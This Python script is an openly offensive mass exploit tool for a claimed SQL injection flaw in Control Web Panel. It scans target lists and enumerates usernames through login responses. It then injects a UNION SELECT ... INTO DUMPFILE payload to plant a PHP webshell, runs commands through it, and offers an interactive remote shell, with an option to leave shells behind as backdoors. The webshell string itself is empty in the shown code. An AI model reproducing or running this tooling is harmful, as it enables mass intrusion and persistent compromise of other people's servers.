#!/usr/bin/env python3 """ CVE-2026-57517 — Control Web Panel (CWP) Blind SQL Injection → RCE via INTO DUMPFILE Webshell Mass Scanner + Validator + Interactive Shell """ import requests import re import sys import os import json import time import random import base64 import hashlib import argparse import threading from concurrent.futures import ThreadPoolExecutor, as_completed from datetime import datetime from dataclasses import dataclass from typing import Optional # Silence SSL noise import urllib3 urllib3.disable_warnings() import warnings warnings.filterwarnings("ignore") # ============================================================================= # Config # ============================================================================= TIMEOUT = 15 MAX_WORKERS = 20 CWP_PORT = 2083 WEBSHELL_PORT = 2031 # Common CWP usernames CWP_USERNAMES = [ "admin", "root", "cwp", "cwpsvc", "cwpsrv", "user", "test", "webmaster", "administrator", "website", "hosting", "client", "demo", "manager", "support", ] # Username discovery endpoints — try login response diff USER_CHECK_ENDPOINTS = [ "/", # main user panel page "/login/index.php", # login page ] # ============================================================================= # Helpers # ============================================================================= def hex_enc(s: str) -> str: """Convert string to MySQL hex literal 0x...""" return "0x" + "".join(f"{ord(c):02x}" for c in s) def gen_id(length: int = 10) -> str: return hashlib.sha256(os.urandom(16)).hexdigest()[:length] def b64enc(s: str) -> str: return base64.b64encode(s.encode()).decode() def b64dec(s: str) -> str: return base64.b64decode(s).decode() def rand_ua() -> str: agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0", ] return random.choice(agents) # ============================================================================= # Data # ============================================================================= @dataclass class TargetResult: url: str host: str status: str = "pending" cwp_detected: bool = False username_found: Optional[str] = None sql_injection_success: bool = False shell_url: Optional[str] = None shell_path: Optional[str] = None shell_token: Optional[str] = None rce_confirmed: bool = False rce_output: Optional[str] = None whoami: Optional[str] = None uname: Optional[str] = None error_msg: Optional[str] = None elapsed: float = 0.0 # ============================================================================= # Thread-Safe Live Writer # ============================================================================= class LiveWriter: """Write results to TXT file in real-time, thread-safe.""" def __init__(self, filepath: str): self.filepath = filepath self.lock = threading.Lock() with open(self.filepath, "w") as f: f.write(f"# CVE-2026-57517 — CWP Blind SQLi → RCE Exploit\n") f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"# {'='*60}\n") f.write(f"# FORMAT: STATUS | HOST | USERNAME | SHELL_URL | RCE_OUTPUT\n") f.write(f"# {'='*60}\n\n") def write(self, result: TargetResult): with self.lock: with open(self.filepath, "a") as f: ts = datetime.now().strftime("%H:%M:%S") if result.status == "rce_confirmed": f.write(f"[VULN] [{ts}] {result.host}\n") f.write(f" Username : {result.username_found}\n") f.write(f" Shell : {result.shell_url}\n") f.write(f" RCE : {result.rce_output}\n") f.write(f" whoami : {result.whoami}\n") f.write(f" uname : {result.uname}\n") f.write(f" Elapsed : {result.elapsed:.1f}s\n\n") elif result.status == "sqli_failed": f.write(f"[SQLi_FAIL] [{ts}] {result.host}\n") f.write(f" Username : {result.username_found}\n") f.write(f" Error : {result.error_msg}\n") f.write(f" Elapsed : {result.elapsed:.1f}s\n\n") elif result.status == "no_username": f.write(f"[NO_USER] [{ts}] {result.host}\n") f.write(f" Error : No valid CWP username found\n") f.write(f" Elapsed : {result.elapsed:.1f}s\n\n") else: f.write(f"[{result.status.upper()}] [{ts}] {result.host}\n") if result.error_msg: f.write(f" Error : {result.error_msg}\n") f.write(f" Elapsed : {result.elapsed:.1f}s\n\n") f.flush() def write_summary(self, results: list): with self.lock: with open(self.filepath, "a") as f: total = len(results) rce = sum(1 for r in results if r.status == "rce_confirmed") sqli_fail = sum(1 for r in results if r.status == "sqli_failed") no_user = sum(1 for r in results if r.status == "no_username") not_cwp = sum(1 for r in results if r.status == "not_cwp") others = total - rce - sqli_fail - no_user - not_cwp f.write(f"\n# {'='*60}\n") f.write(f"# SCAN SUMMARY\n") f.write(f"# Finished : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"# Total : {total}\n") f.write(f"# RCE : {rce}\n") f.write(f"# SQLi Fail: {sqli_fail}\n") f.write(f"# No User : {no_user}\n") f.write(f"# Not CWP : {not_cwp}\n") f.write(f"# Other : {others}\n") f.write(f"# {'='*60}\n") if rce > 0: f.write(f"\n# CONFIRMED SHELLS:\n") for r in results: if r.status == "rce_confirmed": f.write(f"# {r.host} | {r.username_found} | {r.shell_url}\n") # ============================================================================= # Scanner + Exploit Engine # ============================================================================= class CWPExploit: def __init__(self, cleanup: bool = True, verbose: bool = False): self.cleanup = cleanup self.verbose = verbose def _session(self) -> requests.Session: sess = requests.Session() sess.headers.update({"User-Agent": rand_ua()}) sess.verify = False return sess # ------------------------------------------------------------------------- # Detection # ------------------------------------------------------------------------- def detect_cwp(self, host: str) -> bool: """Detect if host is running CWP on port 2083.""" sess = self._session() url = f"https://{host}:{CWP_PORT}/" try: r = sess.get(url, timeout=TIMEOUT, allow_redirects=True) except requests.RequestException: return False # CWP indicators in response indicators = [ "Control Web Panel", "CWP", "cwpsrv", "CentOS Web Panel", "cwpsvc", "login/index.php", ] html = r.text[:10000] if r.text else "" cookies = "; ".join([f"{c.name}={c.value}" for c in r.cookies]) found = any(ind.lower() in html.lower() for ind in indicators) if not found: # Try common CWP paths for path in ["/login/index.php", "/cwp_c5f32ae18b2d0a1b_login/index.php"]: try: r2 = sess.get(f"https://{host}:{CWP_PORT}{path}", timeout=TIMEOUT) if any(ind.lower() in (r2.text or "").lower() for ind in indicators): found = True break except requests.RequestException: continue if found and self.verbose: print(f" [+] CWP detected on {host}:{CWP_PORT}") return found # ------------------------------------------------------------------------- # Username enumeration # ------------------------------------------------------------------------- def find_username(self, host: str, known_username: Optional[str] = None) -> Optional[str]: """ Find a valid CWP username. If known_username is provided, validate it directly. Otherwise auto-enumerate via multiple techniques. """ sess = self._session() # If user provided a username, just validate it if known_username: try: user_url = f"https://{host}:{CWP_PORT}/{known_username}/" r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False) if r.status_code in (200, 302, 301): if self.verbose: print(f" [+] Username validated: {known_username}") return known_username except requests.RequestException: pass # Even if validation fails, try the SQLi anyway — user might know better if self.verbose: print(f" [!] Username '{known_username}' validation uncertain, proceeding anyway") return known_username # Phase 1: GET /{username}/ — check HTTP 200 + CWP content for username in CWP_USERNAMES: try: user_url = f"https://{host}:{CWP_PORT}/{username}/" r = sess.get(user_url, timeout=TIMEOUT, allow_redirects=False) if r.status_code == 200: html = (r.text or "")[:8000] # Strong CWP indicators on user panel cwp_markers = ["Control Web Panel", "CWP", "cwpsrv", "User Panel", "logout"] hits = sum(1 for m in cwp_markers if m.lower() in html.lower()) if hits >= 1: if self.verbose: print(f" [+] Valid username: {username} (HTTP 200 + {hits} CWP markers)") return username # 200 without CWP markers — might be redirect to login if self.verbose: print(f" [?] {username}: HTTP 200 but no CWP markers (redirect?)") except requests.RequestException: continue # Phase 2: Login page error differentiation # Valid user + wrong pass → different response than invalid user login_url = f"https://{host}:{CWP_PORT}/login/index.php" baseline_error = None # Get baseline response for definitely-invalid user try: r = sess.post(login_url, data={"username": "nonexistent_user_xyz99", "password": "test"}, timeout=TIMEOUT) baseline_error = (r.text or "")[:3000] except requests.RequestException: pass for username in CWP_USERNAMES: try: r = sess.post(login_url, data={"username": username, "password": "invalid_test_xyz99"}, timeout=TIMEOUT) html = (r.text or "")[:3000] # If response differs from baseline, user likely exists if baseline_error and html != baseline_error: # Double-check: try a second definitely-invalid user r2 = sess.post(login_url, data={"username": "fake_user_abc88", "password": "test"}, timeout=TIMEOUT) html2 = (r2.text or "")[:3000] if html2 == baseline_error and html != baseline_error: if self.verbose: print(f" [+] Valid username: {username} (response differs from invalid-user baseline)") return username except requests.RequestException: continue # Phase 3: Try CWP auto-generated username patterns patterns = ["cwp_{username}", "cwpsrv", "cwpsvc", "admin"] for pattern in patterns: try: test_user = pattern.format(username="admin") if "{" in pattern else pattern r = sess.get(f"https://{host}:{CWP_PORT}/{test_user}/", timeout=TIMEOUT, allow_redirects=False) if r.status_code == 200: if self.verbose: print(f" [+] Valid username: {test_user} (pattern match)") return test_user except requests.RequestException: continue return None # ------------------------------------------------------------------------- # SQL Injection + Webshell Deployment # ------------------------------------------------------------------------- def exploit_sqli(self, host: str, username: str) -> Optional[dict]: """ Exploit blind SQL injection via userRes parameter. Write PHP webshell to Roundcube logs directory using INTO DUMPFILE. """ sess = self._session() target_url = f"https://{host}:{CWP_PORT}/{username}/" shell_id = gen_id(12) shell_filename = f"cwp_{shell_id}.php" shell_path = f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}" # Minimal PHP webshell — command via HTTP header shell_code = '' # Build SQL injection payload # 13-column UNION SELECT + INTO DUMPFILE hex_shell = hex_enc(shell_code) # Destination paths to try (primary + fallbacks) dest_paths = [ shell_path, # primary f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.phtml", f"/usr/local/cwpsrv/var/services/roundcube/logs/cwp_{shell_id}.txt", f"/usr/local/cwpsrv/htdocs/roundcube/logs/{shell_filename}", f"/usr/local/cwpsrv/var/services/roundcube/logs/{shell_filename}", ] for dest_path in dest_paths: # 13 columns — standard for this CWP query context payload = f'" UNION SELECT 1,{hex_shell},3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE \'{dest_path}\' #' try: r = sess.post( target_url, data={"userRes": payload}, timeout=TIMEOUT, allow_redirects=False, ) except requests.RequestException: continue # Accept any non-500 response (blind — we verify via webshell) if r.status_code >= 500: continue # Verify shell was written extracted_path = dest_path.split("/logs/")[-1] if "/logs/" in dest_path else shell_filename shell_url = f"https://{host}:{WEBSHELL_PORT}/roundcube/logs/{extracted_path}" if self._verify_shell(shell_url): if self.verbose: print(f" [+] Shell deployed: {shell_url}") return { "shell_url": shell_url, "shell_path": dest_path, "shell_filename": extracted_path, } return None def _verify_shell(self, shell_url: str) -> bool: """Verify webshell executes by sending a simple token check.""" sess = self._session() verify_token = gen_id(16) verify_cmd = b64enc(f"echo '{verify_token}';") verify_php = b64enc(f"print '___CMD___'; passthru(base64_decode('{verify_cmd}')); print '___CMD___';") try: r = sess.get(shell_url, headers={"C": verify_php}, timeout=TIMEOUT) if r.status_code == 200 and verify_token in r.text: return True except requests.RequestException: pass return False def exec_command(self, shell_url: str, cmd: str) -> Optional[str]: """Execute a command on the webshell.""" sess = self._session() encoded_cmd = b64enc(cmd) php_code = b64enc(f"print '___CMD___'; passthru(base64_decode('{encoded_cmd}')); print '___CMD___';") try: r = sess.get(shell_url, headers={"C": php_code}, timeout=TIMEOUT) if r.status_code == 200: # Extract output between markers m = re.search(r"___CMD___(.*?)___CMD___", r.text, re.DOTALL) if m: return m.group(1).strip() except requests.RequestException: pass return None def cleanup_shell(self, shell_url: str): """Try to delete the webshell.""" try: sess = self._session() cleanup = b64enc("@unlink(__FILE__);") php = b64enc(f"eval(base64_decode('{cleanup}'));") sess.get(shell_url, headers={"C": php}, timeout=5) except: pass # ------------------------------------------------------------------------- # Full scan & exploit pipeline # ------------------------------------------------------------------------- def run(self, host: str, username: Optional[str] = None) -> TargetResult: start = time.time() result = TargetResult(url=f"https://{host}:{CWP_PORT}", host=host) # Step 1: Detect CWP if not self.detect_cwp(host): result.status = "not_cwp" result.error_msg = "CWP not detected on port 2083" result.elapsed = time.time() - start return result result.cwp_detected = True # Step 2: Find/validate username username = self.find_username(host, known_username=username) if not username: result.status = "no_username" result.error_msg = "Could not enumerate valid CWP username" result.elapsed = time.time() - start return result result.username_found = username # Step 3: SQL injection + deploy webshell shell_info = self.exploit_sqli(host, username) if not shell_info: result.status = "sqli_failed" result.error_msg = "SQL injection failed — target may be patched or path not writable" result.elapsed = time.time() - start return result result.shell_url = shell_info["shell_url"] result.shell_path = shell_info["shell_path"] result.sql_injection_success = True # Step 4: Validate RCE id_output = self.exec_command(shell_info["shell_url"], "id; hostname; uname -a") if id_output: result.status = "rce_confirmed" result.rce_confirmed = True result.rce_output = id_output # Extract whoami who_match = re.search(r"uid=\d+\((\w+)\)", id_output) if who_match: result.whoami = who_match.group(1) # Extract hostname lines = id_output.strip().split("\n") if len(lines) >= 2: result.uname = lines[-1][:100] if len(lines[-1]) > 10 else id_output[:200] else: result.status = "sqli_failed" result.error_msg = "Shell deployed but command execution failed" # Step 5: Cleanup if self.cleanup and result.rce_confirmed: self.cleanup_shell(shell_info["shell_url"]) if self.verbose: print(f" [-] Shell cleaned up") result.elapsed = time.time() - start return result # ============================================================================= # Mass Exploit Runner # ============================================================================= class MassExploit: def __init__( self, targets: list, threads: int = MAX_WORKERS, cleanup: bool = True, live_txt: Optional[str] = None, verbose: bool = False, known_username: Optional[str] = None, ): self.targets = targets self.threads = threads self.cleanup = cleanup self.verbose = verbose self.known_username = known_username self.results: list[TargetResult] = [] self.live_writer = LiveWriter(live_txt) if live_txt else None self._done = 0 self._lock = threading.Lock() def run(self) -> list[TargetResult]: total = len(self.targets) print(f"\n{'─'*60}") print(f" CVE-2026-57517 | {total} targets | {self.threads} threads") print(f" Cleanup: {'yes' if self.cleanup else 'no (persistent)'}") if self.live_writer: print(f" Live TXT: {self.live_writer.filepath}") print(f" {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") print(f"{'─'*60}\n") with ThreadPoolExecutor(max_workers=self.threads) as executor: futures = {executor.submit(self._process_one, t): t for t in self.targets} for future in as_completed(futures): target = futures[future] try: result = future.result() except Exception as e: result = TargetResult( url=f"https://{target}:{CWP_PORT}", host=target, status="error", error_msg=str(e), ) self.results.append(result) self._print_result(result) if self.live_writer: self.live_writer.write(result) if self.live_writer: self.live_writer.write_summary(self.results) return self.results def _process_one(self, target: str) -> TargetResult: target = target.strip().rstrip("/") # Strip protocol if present target = re.sub(r"^https?://", "", target) target = target.split(":")[0] # strip port if user added one exploit = CWPExploit(cleanup=self.cleanup, verbose=self.verbose) return exploit.run(target, username=self.known_username) def _print_result(self, r: TargetResult): sym = { "rce_confirmed": "✅", "sqli_failed": "⚠️", "no_username": "🔍", "not_cwp": "·", "error": "💥", }.get(r.status, "❓") if r.status in ("not_cwp",): with self._lock: self._done += 1 if self._done % 10 == 0: print(f" ... {self._done}/{len(self.targets)} scanned ...") return print(f" {sym} {r.host}:{CWP_PORT} [{r.status}] {r.elapsed:.1f}s") if r.status == "rce_confirmed": print(f" User : {r.username_found}") print(f" Shell : {r.shell_url}") print(f" RCE : {r.rce_output[:120]}") if r.whoami: print(f" whoami: {r.whoami}") print() elif r.status == "sqli_failed": print(f" User : {r.username_found}") print(f" Error : {r.error_msg}") print() elif r.error_msg: print(f" Error : {r.error_msg}") print() def report_json(self, output_path: str) -> str: report = { "metadata": { "cve": "CVE-2026-57517", "component": "Control Web Panel (CWP)", "vuln": "Blind SQL Injection → RCE (INTO DUMPFILE)", "affected": "CWP <= 0.9.8.1224", "scan_date": datetime.now().isoformat(), "cleanup": self.cleanup, }, "summary": { "total": len(self.results), "rce_confirmed": sum(1 for r in self.results if r.status == "rce_confirmed"), "sqli_failed": sum(1 for r in self.results if r.status == "sqli_failed"), "no_username": sum(1 for r in self.results if r.status == "no_username"), "not_cwp": sum(1 for r in self.results if r.status == "not_cwp"), "errors": sum(1 for r in self.results if r.status == "error"), }, "targets": [ { "host": r.host, "status": r.status, "username": r.username_found, "shell_url": r.shell_url, "shell_path": r.shell_path, "rce_output": r.rce_output, "whoami": r.whoami, "uname": r.uname, "error": r.error_msg, "elapsed": round(r.elapsed, 1), } for r in self.results ], } with open(output_path, "w") as f: json.dump(report, f, indent=2, ensure_ascii=False) print(f"\n[+] JSON report → {output_path}") s = report["summary"] print(f"\n{'='*50}") print(f" SCAN SUMMARY") print(f"{'='*50}") print(f" Total : {s['total']}") print(f" ✅ RCE : {s['rce_confirmed']}") print(f" ⚠️ SQLi Fail : {s['sqli_failed']}") print(f" 🔍 No User : {s['no_username']}") print(f" · Not CWP : {s['not_cwp']}") print(f" 💥 Errors : {s['errors']}") print(f"{'='*50}\n") if s["rce_confirmed"] > 0: print(" Confirmed Backdoors:") for r in self.results: if r.status == "rce_confirmed": print(f" → {r.host}:{CWP_PORT} | {r.username_found}") print(f" Shell : {r.shell_url}") print(f" whoami: {r.whoami}") print() return json.dumps(report, indent=2, ensure_ascii=False) # ============================================================================= # Interactive Shell Mode # ============================================================================= def interactive_shell(host: str, username: str, shell_url: Optional[str] = None): """Interactive shell on a vulnerable CWP target.""" exploit = CWPExploit(cleanup=False, verbose=True) if not shell_url: print(f"\n[*] Deploying webshell to {host}:{CWP_PORT}/{username}/ ...") shell_info = exploit.exploit_sqli(host, username) if not shell_info: print("[-] Failed to deploy webshell") sys.exit(1) shell_url = shell_info["shell_url"] print(f"[+] Shell: {shell_url}") print(f"\n CWP Interactive Shell — {host}") print(f" Type 'exit' to quit, 'cleanup' to remove shell\n") while True: try: cmd = input("cwp$ ").strip() except (EOFError, KeyboardInterrupt): print() break if cmd in ("exit", "quit"): break if cmd == "cleanup": exploit.cleanup_shell(shell_url) print("[+] Shell removed") break if not cmd: continue output = exploit.exec_command(shell_url, cmd) if output: print(output) else: print("[-] No output — connection failed or shell dead") # ============================================================================= # CLI # ============================================================================= def banner(): print(""" ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-57517 — Control Web Panel (CWP) ║ ║ Blind SQLi → INTO DUMPFILE → RCE (cwpsvc) ║ ║ Mass Exploit + Validator + Interactive Shell ║ ╚══════════════════════════════════════════════════════════════╝ """) def main(): banner() parser = argparse.ArgumentParser( description="CVE-2026-57517 — Control Web Panel Blind SQLi → RCE Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 cve-2026-57517.py -t 192.168.1.100 python3 cve-2026-57517.py -t 192.168.1.100 -u cwpsvc python3 cve-2026-57517.py -f targets.txt -o live.txt --json report.json python3 cve-2026-57517.py -f targets.txt -u admin -o live.txt python3 cve-2026-57517.py -t target.com --rce -u cwpsvc python3 cve-2026-57517.py -f targets.txt --no-cleanup -v """, ) parser.add_argument("-t", "--target", help="Single target host (IP or domain)") parser.add_argument("-f", "--file", help="File with targets, one per line") parser.add_argument("-o", "--output", help="Live TXT output file", default="cve-2026-57517_live.txt") parser.add_argument("--json", help="JSON report file", default="cve-2026-57517_report.json") parser.add_argument("--threads", type=int, default=MAX_WORKERS, help=f"Threads (default: {MAX_WORKERS})") parser.add_argument("--timeout", type=int, default=15, help="Timeout seconds (default: 15)") parser.add_argument("--no-cleanup", action="store_true", help="Leave shells on target") parser.add_argument("--rce", action="store_true", help="Interactive shell mode (-t + -u required)") parser.add_argument("-u", "--username", help="CWP username for interactive shell") parser.add_argument("--shell-url", help="Existing shell URL (skip deployment)") parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output") args = parser.parse_args() # Apply timeout setting import __main__ __main__.TIMEOUT = args.timeout # ---- Interactive Shell Mode ---- if args.rce: if not args.target: print("[-] -t/--target required for interactive shell") sys.exit(1) if not args.username: # Try to auto-find print("[*] No username provided, trying auto-detection...") exploit = CWPExploit(cleanup=False, verbose=True) username = exploit.find_username(args.target) if not username: print("[-] Could not find username. Use -u to specify.") sys.exit(1) args.username = username interactive_shell(args.target, args.username, args.shell_url) return # ---- Single Target Mode ---- if args.target and not args.file: exploit = CWPExploit(cleanup=not args.no_cleanup, verbose=args.verbose) result = exploit.run(args.target, username=args.username) print(f"\n {'✅' if result.rce_confirmed else '❌'} {result.host}:{CWP_PORT} [{result.status}] {result.elapsed:.1f}s") if result.rce_confirmed: print(f" User : {result.username_found}") print(f" Shell : {result.shell_url}") print(f" RCE : {result.rce_output}") elif result.error_msg: print(f" Error : {result.error_msg}") return # ---- Mass Scan Mode ---- targets = [] if args.target: targets.append(args.target) if args.file: if not os.path.isfile(args.file): print(f"[!] File not found: {args.file}") sys.exit(1) with open(args.file) as f: for line in f: line = line.strip() if line and not line.startswith("#"): targets.append(line) if not targets: parser.print_help() sys.exit(1) targets = list(dict.fromkeys(targets)) # dedup print(f"\n [*] {len(targets)} target(s) loaded") if args.username: print(f" [*] Using username: {args.username}") print() mass = MassExploit( targets=targets, threads=args.threads, cleanup=not args.no_cleanup, live_txt=args.output, verbose=args.verbose, known_username=args.username, ) results = mass.run() mass.report_json(args.json) rce_count = sum(1 for r in results if r.status == "rce_confirmed") sys.exit(0 if rce_count > 0 else 1) if __name__ == "__main__": main()